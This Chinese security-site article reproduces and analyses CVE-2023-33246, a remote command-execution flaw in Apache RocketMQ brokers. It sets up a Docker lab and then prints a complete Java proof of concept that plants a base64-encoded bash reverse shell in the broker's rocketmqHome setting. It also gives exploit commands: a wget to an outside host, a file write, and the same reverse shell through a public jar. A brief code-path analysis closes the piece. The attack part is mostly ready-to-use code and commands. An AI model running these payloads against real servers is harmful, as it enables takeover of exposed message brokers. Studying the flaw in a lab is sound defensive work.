freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2023-33246命令执行复现分析
蚁景科技 2023-06-19 14:14:24 210688
所属地 湖南省

RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。

影响版本

<=RocketMQ 5.1.0

<=RocketMQ 4.9.5

环境搭建

docker pull apache/rocketmq:4.9.4

image-20230605153453593

root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv      //起nameserver

创建broker.conf,并且修改配置文件内容

image-20230615155042723

root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf    //起Broker

image-20230608173548843

docker ps

image-20230608173815060

http://127.0.0.1:10912/

image-20230608173919660

python3 check.py --ip 10.10.14.72 --port 9876

image-20230612101500792

python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt

image-20230612125101859

使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

cd vulhub/rocketmq/CVE-2023-33246
docker-compose up -d

POC如下

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Base64;
import java.util.Properties;

public class poc {
 private static String getCmd(String ip, String port) {
     String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
     String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
     return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
}

 public static void main(String[] args) throws Exception {
     String targetHost = "目的IP";
     String targetPort = "10911";
 
     String shellHost = "VPSIP";
     String shellPort = "Listen-port";
 
     String targetAddr = String.format("%s:%s",targetHost,targetPort);
     Properties props = new Properties();
     props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
     props.setProperty("filterServerNums", "1");
     // 创建 DefaultMQAdminExt 对象并启动
     DefaultMQAdminExt admin = new DefaultMQAdminExt();

//       admin.setNamesrvAddr("0.0.0.0:12345");
     admin.start();
     // 更新配置⽂件
     admin.updateBrokerConfig(targetAddr, props);
     Properties brokerConfig = admin.getBrokerConfig(targetAddr);
     System.out.println(brokerConfig.getProperty("rocketmqHome"));
     System.out.println(brokerConfig.getProperty("filterServerNums"));
     // 关闭 DefaultMQAdminExt 对象
     admin.shutdown();
}
}

使用IDEA创建maven项目,创建xml文件下载依赖,下载地址

https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4

image-20230615100244421

<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
 <groupId>org.apache.rocketmq</groupId>
 <artifactId>rocketmq-tools</artifactId>
 <version>4.9.4</version>
</dependency>

image-20230615103757592

修改POC

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Base64;
import java.util.Properties;

public class poc {
 private static String getCmd(String ip, String port) {
     String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
     String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
     return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
}

 public static void main(String[] args) throws Exception {
     String targetHost = "10.10.14.72";
     String targetPort = "10911";
 
     String shellHost = "10.10.14.72";
     String shellPort = "65532";
 
     String targetAddr = String.format("%s:%s",targetHost,targetPort);
     Properties props = new Properties();
     props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
     props.setProperty("filterServerNums", "1");
     // 创建 DefaultMQAdminExt 对象并启动
     DefaultMQAdminExt admin = new DefaultMQAdminExt();

//       admin.setNamesrvAddr("0.0.0.0:12345");
     admin.start();
     // 更新配置⽂件
     admin.updateBrokerConfig(targetAddr, props);
     Properties brokerConfig = admin.getBrokerConfig(targetAddr);
     System.out.println(brokerConfig.getProperty("rocketmqHome"));
     System.out.println(brokerConfig.getProperty("filterServerNums"));
     // 关闭 DefaultMQAdminExt 对象
     admin.shutdown();
}
}

反弹结果

image-20230615115733747

git clone https://github.com/SuperZero/CVE-2023-33246.git
java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt"

image-20230615153715566

进入容器,查看根部录下文件是已写入

image-20230615153833934

java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1"

反弹shell

image-20230615162234961

漏洞分析

启动broker路由如下:

main:50, BrokerStartup (org.apache.rocketmq.broker)
start:55, BrokerStartup (org.apache.rocketmq.broker)
start:1570, BrokerController (org.apache.rocketmq.broker)
startBasicService:1527, BrokerController (org.apache.rocketmq.broker)
start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv)

当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行

image-20230616102658128

调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand

image-20230616105316243

该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd

image-20230616105415604

进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令

image-20230616105538500

该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。

image-20230616105824880

更多网安技能的在线实操练习,请点击这里>>


# 漏洞分析 # 漏洞复现 # RocketMQ
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 676 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18